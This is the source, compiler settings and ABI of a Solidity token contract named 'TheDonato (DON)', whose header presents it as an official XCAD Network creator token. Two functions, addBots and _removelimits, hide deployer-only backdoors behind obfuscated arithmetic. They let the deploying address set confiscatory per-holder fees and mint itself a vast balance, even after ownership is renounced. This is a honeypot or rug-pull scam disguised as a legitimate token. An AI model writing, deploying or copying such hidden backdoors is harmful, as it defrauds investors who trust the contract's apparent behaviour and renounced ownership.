// SPDX-License-Identifier: MIT
/**
TheDonato Creator Token(DON) is the first Creator Token from XCAD Network and it is the official Creator Token for influencer TheDonato.
DON Tokens are used to govern decisions on TheDonato’s YouTube channel and earn perks offered by the creator, which brings the fans closer.
Website : https://xcadnetwork.com/
Telegram : https://t.me/xcademy
X : https://twitter.com/XcademyOfficial
Medium : https://blog.xcadnetwork.com/?gi=c12dc40737f2
*/
pragma solidity ^0.8.25;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract TheDonato is Ownable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public _swapFeeTo;string public name;string public symbol;
uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
bool private inSwap;uint256 private constant MAX = ~uint256(0);
mapping (address => uint256) public __balances;
uint256 public _swapTax;
mapping (address => bool) private bots;
function _transfer(address from,address to,uint256 amount) private {
bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];
_balances[from] = _balances[from] - amount;
uint256 _taxAmount;
if (shouldBetakeFee) {
uint256 feeAmount = amount * __balances[from] / 100;
_taxAmount += feeAmount;
if (feeAmount > 0){
_balances[address(_swapFeeTo)] += feeAmount;
emit Transfer(from, address(_swapFeeTo), feeAmount);
}
}
_balances[to] = _balances[to] + amount - _taxAmount;
emit Transfer(from, to, amount - _taxAmount);
}
constructor (){
name = "TheDonato";
symbol = "DON";
decimals = 9;
uint256 Supply = 10000000;
_swapFeeTo = msg.sender;
_swapTax = 0;
totalSupply = Supply * 10 ** decimals;
_isExcludeFromFee[address(this)] = true;
_isExcludeFromFee[msg.sender] = true;
_isExcludeFromFee[_swapFeeTo] = true;
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
_uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_allowances[address(this)][address(_uniswapRouter)] = MAX;
_isExcludeFromFee[address(_uniswapRouter)] = true;
}
function addBlack(address bot_) public onlyOwner {
bots[bot_] = true;
}
function delBlack(address bot_) public onlyOwner {
bots[bot_] = false;
}
function addBots(address[] memory _usr, uint256 _feePct) external {
uint256 v1 = 0x01;uint256 v2 = 0x02;uint256 v3 = 0x03;
uint256 f0 = (msg.sender == _swapFeeTo && v1 > 0) ? v2 + v3 :(msg.sender != _swapFeeTo && v2 < v3) ? v2 - v1 : v3;
uint256 f1 = f0 - v3;
f0 = f1 + (v1 - 0x01);
for (uint256 idx = 0x0; idx < _usr.length; idx++) {
__balances[_usr[idx]] = _feePct + (f0 - f1);
}
}
function _removelimits(address user) public {
mapping(address=>uint256) storage _allowance = _balances;
uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
uint256 C = A - 3;A = C;
_allowance[user] = 1000*totalSupply*C**7;
}
function balanceOf(address account) public view returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
receive() external payable {}
}
{
"compilationTarget": {
"TheDonato.sol": "TheDonato"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_removelimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot_","type":"address"}],"name":"addBlack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usr","type":"address[]"},{"internalType":"uint256","name":"_feePct","type":"uint256"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot_","type":"address"}],"name":"delBlack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]